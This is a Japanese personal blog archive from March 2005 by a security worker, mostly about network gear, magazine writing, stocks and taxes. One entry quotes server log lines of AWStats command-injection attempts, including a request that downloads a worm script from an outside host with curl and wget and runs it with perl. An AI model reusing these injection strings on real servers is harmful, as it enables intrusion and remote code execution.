管理人のMonoblog　

2005年03月31日

Telnetクライアントに脆弱性

　Bagtraqで話題になっていましたが、幅広いOSのTelnetクライアントに
脆弱性が存在するようです。実際に突っついた人の話が出ていましたが、
簡単にできるようですね。

　一昔前のSolarisだとTelnetがデフォルトで動いているので、内部から
だと簡単にやられてしまいそうです。盗聴の問題もあるし、そろそろ
Telnetは撲滅されてもいいと思うのですが....

2005 03 31 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月29日

Website Expert発売！

　本日からWebsite Exptertの第2号が店頭に並んでいます。

　前号とおなじく、この号の関東レポートの翻訳を管理人がしています。美術館
のWebマスターへのインタビューの記事なんですが、これが大変でした。何しろ
管理人は芸術とは程遠い位置にいる人間なので、登場する美術館の名称とか
巨匠の名前とかがぜんぜんわかりません...

　偶然というべきか、うちの奥様がその方面に興味があって多少助けられはしま
したが、とにかく翻訳以外の部分で色々と苦労しました。終わった今となっては
面白かったという印象しか残っていませんが(^^

　翻訳はまたやることになると思いますが、次は何か楽しみです。

2005 03 29 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月28日

IP PlusというIOSが必要だったらしい....

CISCO 3725でPPPoEが利用できない理由が判明しました。
どうやらIP PlusというバージョンのIOSが必要なようです。

以下、その根拠となった文書
Bフレッツ/フレッツADSL接続(端末型払い出し)設定例
Bフレッツ/フレッツADSL接続(LAN型払い出し)設定例

私もCISCOは全く知りませんでしたし、購入手続きをした人もよく知らな
かったため、当然そんなものは購入していません(哀

しばらくはただの箱になりそうです。
来年度予算が積んであるので、それで買うしかないでしょう。

とりあえずは、PPPoEクライアント機能が搭載されていると思われる
Netscreen 25を利用するしかなさそうです。
＃ネットワーク設計変わっちゃうなぁ...

2005 03 28 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月25日

CISCO 3725でPPPoEでBフレッツ

　とある理由で、CISCO 3725をPPPoEを利用してBフレッツに接続しなければ
ならないのですが、いくらやってもうまくいかない....
　というか、スペック的には間違いなくPPPoEをサポートしているはずなのに、
マニュアルをいくら眺めてもその設定方法が出ていない....

　Webで検索してもVPDNとやらを利用した接続方法しか出ていないし、一体どう
やったら繋がるのでしょうか？
＃今回ほどフレッツ接続ツールのありがたさを感じたことはありませんでした...

2005 03 25 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月24日

LinuxWorld 5月号 発売！

　筆者の自宅に1月中旬から2ヶ月ほどセキュリティアプライアンスを設置して
いたのですが、それは本日発売になったLinuxWorldの製品レビューを執筆
するためでした。

　設置していたのはその道では有名なISS社のProventia M10という製品で、
一台にファイアウォールやIPSをはじめとするたくさんの機能が詰め込まれて
います。

　アプライアンス型の統合セキュリティ製品というと、融通が利かないとか機能が
中途半端というイメージを持っている方もいらっしゃるかもしれませんが、M10に
ついていえば、非常によくできているという印象を受けました。

　基本的に米国製のものをそのまま持ち込んでいるので、日本語対応の部分に
若干の問題を残していますが、実装されている機能からすると価格が圧倒的に
安く、その部分を割り引いても十分導入する価値があると感じました。

　興味を持った方は、現在店頭に並んでいるLinuxWorld 5月号を見てみて
ください！

2005 03 24 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月23日

Blasterにやられてしまいました(^^;

　昨日とどいた検証物品をセットアップする過程で、Windows Updateを
行うという作業があったのですが、Windows Updateを行うためにインター
ネットに接続し、アップデートが完了するまでのわずかの間に、Blasterに
やられてしまいました。

　本当のBlaster騒ぎの時には管理人は全く無縁だったのですが、まさか
今頃になってやられるとは夢にも思いませんでした。サーバ製品であるため、
簡単にアンチウイルスソフトを導入することができなかったり、ルータなしで
直接Bフレッツに接続する必要があったという事情もありますが、それにしても
びっくりしました。

　幸いにも、Blasterによる再起動が走る前に、その脆弱性を防ぐパッチの
導入が完了していたようで、事実上ほとんど問題はありませんでした（一応
駆除ツールも流してみましたが、無事でした）。

　油断大敵ということを久しぶりに身をもって感じました。

2005 03 23 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月22日

色々納品

　次の仕事の関係で、色々な検証物品を購入して本日納品されました。

　本来はシステムで発注して納品してもらうところが、ある理由で物買いで買った
ので、構築や設定は自分でやらなければならないのですが、これが楽しいんですよね。

　副業の雑誌の記事執筆なんかも、モノを触って何ぼなので、このようなチャンスは
大歓迎です。特に管理人はCISCOやNetscreenなどのネットワーク機器を真剣に触った
ことがないので、それらを学習する大チャンスでもあります。

　ちなみに買ったのは....

　　・CISCO 3725
　　・Nokia IP350
　　・Netscreen 25
　　・Proventia A201
　　・Proventia G100
　　・HP DL320 x 2
　　・HP DL380 x 4
　　・Sun Fire V20
　　・Windows Server 2003 Standard Edition
　　・Redhat Linux ES3
　　・ソフトウェア色々

　しばらく仕事はこれらの設置と設定になりそうです。

2005 03 22 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月21日

カブドットコム証券落選

書き忘れていましたが、IPO当然のごとく落ちました。

でも、倍率は34倍で、先日のシダーに比べれば全然現実的な数値でした。
金曜日に東証一部上場で、公募価格は36万円、終値は67万円。

34倍に当選すれば、一日で31万円のキャピタルゲインですか....

2005 03 21 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月20日

ラック

セキュリティを生業としている関係上、自動的にそれらに関連する企業は
ウオッチすることになります。具体的にはラックやISS、日本ベリサインや
ネットマークスあたりは外せないところになります。

ネットマークスはちょっと毛色が違いますが、残りの3社はある意味で
かなり立場的に近い関係にあります。ついでに言えば、株価も似ています。

先週金曜日(3/18)終値時点での株価は、

日本ベリサイン : 456,000円
ラック : 449,000円
ISS : 244,000円

となっている。ISSだけ安いように見えますが、3月に1:2の分割をしている
ので、実質は488,000円と言ってもいいでしょう。

この中でも急進ぶりが目立つのがラックです。
昨年11月頃に15万円辺りをさまよっていたのですが、その頃は下げ基調で
怖くて買うことができませんでした。気がついたら20万円を超えていて、楽天
証券の無料手数料の枠を超えてしまったために買い損なってしまいました。

まさかここまで暴騰するとは.....
信用口座を開設したので手を出せなくもないのですが、チャートを見ると
怖くて手を出せません。どこまで上るかわからない一方、転落するときには
一気に転落しそうなので....

2005 03 20 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月19日

Google Adsenseが$100突破！

見ればわかりますが、当サイトにはGoogle Adsenseの広告を配している
ページがあります。

それまでにもValueCommerceのバナーが一部のページに置いてあった
のですが、あまりに効率があがりませんでした。リンク先のページで購買
行為があった場合にコミッションが発生するValueCommerceは、
当サイトのような情報提供系のページにはあまりなじまなかったようです。

そこで試してみたのがGoogle Adsenseでした。
基本的にクリックされた際にコミッションが発生するこちらの方が、当サイト
には合っていたようで、半年で$100を超えることができました。
＃配し方も若干変えましたが....

YahooもAdsenseのような広告を開始するようですが、当面はAdsense
でいくことになると思います。

2005 03 19 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月18日

増配だったか

スクエニ続騰のネタが割れました。
増配が決定したようです。

しかし、この動きってどう考えても事前に情報を知っていた人(それも
資金力がある人)が買いに走っていたとしか思えないんですが、
インサイダーじゃないのかなぁ....

ネタが割れると下がるのが常ですが、増配は株を持っている人だけ
が享受できることなので、火曜日にどうなるか楽しみです。

2005 03 18 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月17日

スクエニ続騰

絶対に何かがある....
でも何があるかわからない....

こういう場合、材料が出たらすぐに下がる傾向があるので、逃げ時が重要
なんですよね。

でも、管理人が持っているのは端株なんで、楽天証券だとオンラインで
売ることができないんです(哀

とりあえず当面ホールドの予定です。

2005 03 17 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月16日

スクエニ爆発

2950～3050位の間をずーーーーーっと漂っていた、ある意味超安定株の
スクエニが、なぜか急に爆騰をはじめました。色々調べたんですが、何で
こんな動きをするのかどうしても理解できません。
出来高も普段からは考えられないくらいあるし....

管理人は合併前からの株主だったんですが、この株が管理人が株式で出した
損失の8割以上を占めています。まだよく株のことを知らなかった頃に、なんと
なく(今にして考えてみれば割高の)スクウェアとエニックスを買ったんですね....
今にしてみれば、馬鹿なことをしたものです。損切りもできなかったし。

現在保有しているのは、合併の関係でできた単位株未満の端株のみなんですが、
こんなことになるのならば辛抱強く持っていればよかった....

何はともあれ、何か大きな発表でもあるのでしょうか？
楽しみにしていましょう。

2005 03 16 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月15日

UFJﾌｨｯｼﾝｸﾞﾒｲﾙｷﾀｰｰｰｰｰｰｰｰｰ！

話題のUFJのフィッシングメールが自宅のアカウントに届いていました。

あまりに稚拙なその内容にびっくりしましたが、逆にこんなんでも引っかかる
人っているんだろうな...と思うと、なんだか複雑な気持ちになりました。

しかし、UFJ側も、Webページに警告文載せてはいましたが、アカウントの
監視はしているんでしょうか？

例えば、同一IPアドレスから複数のアカウントでログインを試みるとか、
あからさまに怪しい挙動を監視することくらいは考えてもいいんじゃない
かと思いますが。

また、ISPと電話会社と警察が本気になれば、接続元を割り出すくらい
できるんじゃないかと思うんですが、やらないんですかねぇ。
＃もちろん、電話会社は警察の捜査令状がないと動きませんが....

2005 03 15 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月14日

確定申告に行ってきました

副業の関係で確定申告してきました。
本の印税があったので、副業収入はこれまでの最高記録で、必要経費も一生
懸命積みました。年末にノートPCまで買ってしまいましたし....

　確定申告するのももう3回目ではありますが、今年から株式の税制がちょっと
変わったので、そこの部分だけプロに確認してもらいたくて、会場でその列に
並んだのですが、列に並んだのが20分、見てもらったのが5分で、時間の無駄
でした....ちなみに、恥ずかしながら損失の繰越を行いました(哀

　確定申告というと、やったことがない人から見るとなんだかとっても難しい
事をしているかのように見えますが、インターネットの申請書作成ページを
利用して作成する限りにおいては、ナビゲーションに従って必要な数字を
投入してゆくだけで、計算まで自動的に行ってくれるので、まったく難しいこと
はありません。

　でも、会場で見渡してみると、ほとんどの人がその場で伝票と電卓片手に
必死に申告用紙に記入しているんですよね....管理人のように、インター
ネットで申告書を用意している人は圧倒的な少数派のようです。

　ちなみに、昨年は税金を払いましたが、今年は還付を受けられそうです(^^v

2005 03 14 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月13日

信用取引口座を開設しました

　前々から興味があった、信用取引口座を開設しました。

　私が利用している楽天証券は、収入印紙4,000円は証券会社負担、面談はWebで代用
ということになっているので、ほかの証券会社よりは敷居が低いのですが、

”お客様によっては、電話での面談をする場合があります”

　という一文が気になってどうしても踏み出せずにいましたのですが、申し込んで
みたら、結局電話なしで開設する事ができました。
＃なんだかんだいって、口座開設してから5年くらいたっていますからね....

　楽天証券は20万円以上の株の現物の手数料が結構高いので(～300万円、指値で
2,500円くらい)、信用+現引きで安く上げられるかなぁなんていう邪道な考えや、
優待だけをうまくゲットするとかが主な動機ですが、これから研究してみます。

2005 03 13 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月12日

落ちました....

当然の結果ですね(^^;

一応カブドットコム証券も申し込んでありますが、あたる可能性は激薄ですね....

2005 03 12 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月11日

当たりっこないよ...

シダーのIPOに申し込んでおいたのですが、倍率は730倍ですと....
大ヤマト2 ZFで確変引くのと同じくらい難しいじゃないですか(哀
＃大ヤマト2 ZF大当たり確率約1/495×各辺突入確率5/8 = 1/792

当たる人の顔が見たい....

2005 03 11 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月10日

ISSのSOCを見学した

　会社の仕事関係で、ISSという会社のSOC(Security Operation Center)を見学
してきました。

　ISSといえば、ネットワークセキュリティをかじったことがある人ならば誰でも
知っているビッグネームで、知名度は国内ではLACと二分している会社です。
もっとも、LACは日本ローカルな会社なので、グローバルなセキュリティ専業企業
としては、世界一の知名度と実績と実力を持つ企業といっても過言ではありません。
＃SymantecとかTrendmicroとかとはちょっとジャンルが違う会社です。
＃表現するのが難しいんですが....

　SOCは同社が販売する製品の遠隔監視を行う拠点なのですが、とにかくすごいです。
詳しくは書けませんが、環境も設備も中で働いている人も、とにかく一切の妥協が
ないんです。

　これだけの設備を打っていても、”それでも、最終的には人なんですよね”と
営業の方が話されていたのが印象的でした。

2005 03 10 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月09日

LAND攻撃再び

　セキュリティをちょっとでもかじったことがあることがある人であれば、LAND
攻撃という言葉を聞いた事があるのではないでしょうか。

　簡単に言えば、送信元IPアドレスと宛先IPアドレスに同一のIPをセットした、
通常ではありえない特殊なパケットをホストに送りつけることにより、そのホスト
を異常動作させることを目的とした攻撃手法のことです。

　攻撃手法としては初歩の初歩に属する非常に幼稚な攻撃で、現在のTCP/IP
の実装でそのような欠陥を持っているものは皆無だと思われていましたが、
なんと最新のパッチを適用することにより、LAND攻撃を可能にする脆弱性が
できてしまうことが判明したそうです。

　見る限りではDoS攻撃を成立させるだけなので、ウイルスやスパイウェアに
利用されることはまずないと思われますが、Windowsのサーバを立てている
人は対策しておいたほうがいいでしょう。
＃IPSでも入れないと対策できないと思いますが....

2005 03 09 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月08日

確定申告

管理人はサラリーマンですが、見ればわかるとおり副業に手を染めています(笑

会社の許可はちゃんととってあるので、副業をすること自体は問題ないのですが、
当然確定申告をしなければなりません。

今年は執筆した書籍の印税が入ってきたので、例年よりも金額がかなり膨らんで
おり、その分源泉徴収されている金額も大きくなっています。これを取り返すべく、
確定申告をしなければなりません。

すっかり忘れていたのですが、昨日ふと確認してみたら、今年の確定申告はなんと
3月16日までではないですか！これをしないとン万円取られ損で終わってしまいます。
来週の月曜日に年次休暇(半日)を取得したので、そこで申告しに行く予定です。

一応必要経費の集計は終わっていて、インターネットで提出書類も作成してある
ので、後は行くだけになっています。もっとも、先にも書いたように今年は金額が
大きいので、どこまで必要経費を積むかが大きな問題なのですが....

2005 03 08 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月07日

『UNIXネットワークの日々』を読んだ

この本、出版が1993年であることはわかっていたのですが、これが本当に10年
ちょっと前かと思うような場面設定です。

　・ネットワークは10Base-2、10Base-Tは"ハブが必要だから高い"と...
　　100Baseなんて影も形もありません(Token Ringはちょっとだけ出てきました)。
　・接続されているマシンはNeXT Stepなど往年の名機が中心。
　　"SGIのIndy欲しい"とか、"SonyのNEWSがいいらしい"という発言あり。
　　x86は"Dellの66Mhz買おうかなぁ"という話題が出てくる程度。
　・メールは当然UUCPを利用して転送されている。SMTPなんてない。
　・"Web"という言葉は一言も出てこない(1993年はMosaicが世に出た年だから...)。
　・メインの話題はNISやNFSなど、現代ではほとんど利用しないサービスばかり。

ちなみに管理人は1993年当時は大学生でしたが、英文学科在籍でコンピュータとは
無縁な生活を送っていました。大学2年の時にコンピュータ関係の授業を取った
のですが、確かDOSベースのLotus 1-2-3を利用した授業でした。
＃言語系は、PL/1とかPrologとかマニアックなものでしかありませんでした。

大学3年の時に、親に頼み込んで一揃え買いましたが、そのときの構成は

　・今は亡きAST社のDX4のマシン(メモリ8M/HD540MB/ISA & VLバス)。
　・10万円を切る画期的な価格を実現した飯山の17インチCRT。
　・脅威の720dpiを実現したエプソンのプリンタ。
　・高くて28.8bpsは無理だったので、妥協して14.4bpsのアイワのモデム。
　・OSは当然Windows 3.1。でも、DOSでゲームしていることも多かった。

だったので、今にして思えば隔月の感がありますねぇ。
今となっては役立つ情報は余りありませんが、当時を回顧できる貴重な一冊です。

2005 03 07 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月06日

突いてくる人たち

AWStatsの脆弱性はかなりその手の人々の興味を引いたようで、今でも
色々な形でちょっかいを出してくる人が後を絶ちません。

140.247.xxx.xxx - - [25/Feb/2005:05:17:14 +0900] "GET
/cgi-bin/AWStats5_Stable/awstats.pl?configdir=| echo;
echo; perl -e \"print q(jSVowMsd)\"; echo; echo; |
HTTP/1.0" 500 634 "-" "Mozilla/4.0"

一時期大量に押し寄せました。
jSVowMsdとやらを調べても良くわからず、意味不明。

84.222.xxx.xxx - - [06/Mar/2005:05:43:16 +0900] "GET
//cgi-bin/awstats.pl?configdir=|echo ;echo ;id;echo ;echo|
HTTP/1.1" 404 304 "-" "-"

意味もなく何かを表示する。ほとんどがこれです。
ツールでも出ているのか、いろんなところから来ます。
きっとこれが成功したら、更に何かが来るんでしょう。

213.114.xxx.xxx - - [06/Mar/2005:22:50:34 +0900] "GET
/cgi-bin/test/awstats.pl?configdir=|echo ;cd /tmp;curl -O
www.xxxxxx.co.uk/spykids.txt ;perl spykids.txt ;rm -rf
spykids.txt; wget www.xxxxxx.co.uk/spykids.txt; perl
spykids.txt; rm -rf spykids.txt;echo ;echo| HTTP/1.1"
404 308 "-" "LWP::Simple/5.79"

URLは一部伏せてあります。間違って実行しちゃいましたが、PHPBBの
脆弱性を突くPerl.Santy.Cというワームで、管理人の環境では無害でした。
URLを見る限りでは、検索エンジンに残っている昔利用していたパスを利用
しているみたいです。

なんかまた面白そうなのが引っかかったら書きます。

2005 03 06 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月05日

Hobbit氏に感謝！

GuestbookにAWStatsの改良版作成のご報告を頂いていたので、
投稿主のHobbit氏のWebサイトを訪問してみました。
一言で言えば、”すばらしい....”でした。

どうも管理人はやる気にムラがあるので、なかなか一度何らかの形で完成
してしまったものを再度改良するという気がなかなか起きません。
AWStatsについても気になる点は何点もあるのですが、上記のやる気+
技術力の関係で、なかなか実行に移すことができずにいました。

Hobbit氏が今回行った検索エンジンのデコード部分の改良もその一つで、
検索エンジン別にデコードロジックをちゃんと組んでいるところや、
search_engines.pmの改良など、管理人が手をつけずにいた部分を
見事に改良してくれています。

AWStatsをご利用の方は、是非Hobbit氏のサイトを訪問してみて下さい。

2005 03 05 | この記事へのリンク | この記事へのコメント (0) | トラックバック (1)

2005年03月04日

原稿依頼を頂きました

いつもの出版社から執筆依頼をいただきました。

管理人は背中に差し迫ったものがないとなかなか物事に手をつけないタイプです。
自慢じゃありませんが、通信教育は大の苦手でした。

こんな性格なため、漠然と何かを学ぶということが非常に苦手です。
自分が興味を持つことができることについても、なかなか長続きしません。

原稿の執筆は、まさに背中に差し迫るものに相当するので、これまでに相当回数
の依頼を頂きましたが、一度も約束した期限を破ったことはありません。

原稿の執筆依頼のおかげで、間接的に自分が勉強することになった事も少なく
なく、本当にありがたいことです。

これからも依頼者の期待を裏切らないようにがんばらなければ....

2005 03 04 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月03日

久しぶりに本を読んだ

とある雑誌で書評を書くことになって、久しぶりに本を買って読みました。

4冊ほど購入したのですが、最初に読んだのが萌え萌えうにっくす!UNIXネットワーク管理ガイドでした。

本の選定は執筆者に任されていて、私の担当はネットワーク関連ということだった
のですが、オリジナリティをという話だったので、あえて変化球のこの本を入れて
みたのですが、これが意外と良書でびっくりしました。

もちろんAmazonの書評などを参考にしたのですが、自分の目で見てようやく
理解したという感じでした。惜しむらくは、逆にまじめなページが多すぎたこと
で、あそこまでやるのであれば、もっと徹底的に趣味に走ってしまっても
よかったのでは...

いや、本当にお勧めです。萌え系の趣味がない人でも十分に楽しめます。
X68000とかガンダムとかに反応できる人であれば、絶対に楽しめるはずです。

2005 03 03 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月02日

米国株は今晩も好調

ちょっとだけですが、米国株ももっています。

NASDAQ100が1600を超えた頃から見ればかなり落ちましたが、
最近またかなり盛り返しつつあります。

往復の為替+手数料を考えると利益を出すのが大変なので、
米国株は手仕舞おうと思っているのですが、いちばん利益が
でているのが米国株だったりするので心情的にむずかしいです....

ちなみに、BRCDx250とVRSNx50です。

2005 03 02 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)

2005年03月01日

下がりまくり

なんだかフォルクスがえらく下げ始めました。
もともとそれほど値動きが大きい銘柄ではないのですが、今日は12円も下げて、
優待込みでもマイナスに突入してしまいました。

チャート的にも(素人目ながら)あまりよろしくないようなので、一度売りを入れた
のですが、ボリンジャーバンドの下限を突き抜けてもいたので、もう少しだけ
待ってみることにしました。

買値-20円まで行ったら、問答無用で売ります。
＃ワタミフーズにもっと早く乗り換えていればよかった....

2005 03 01 | この記事へのリンク | この記事へのコメント (0) | トラックバック (0)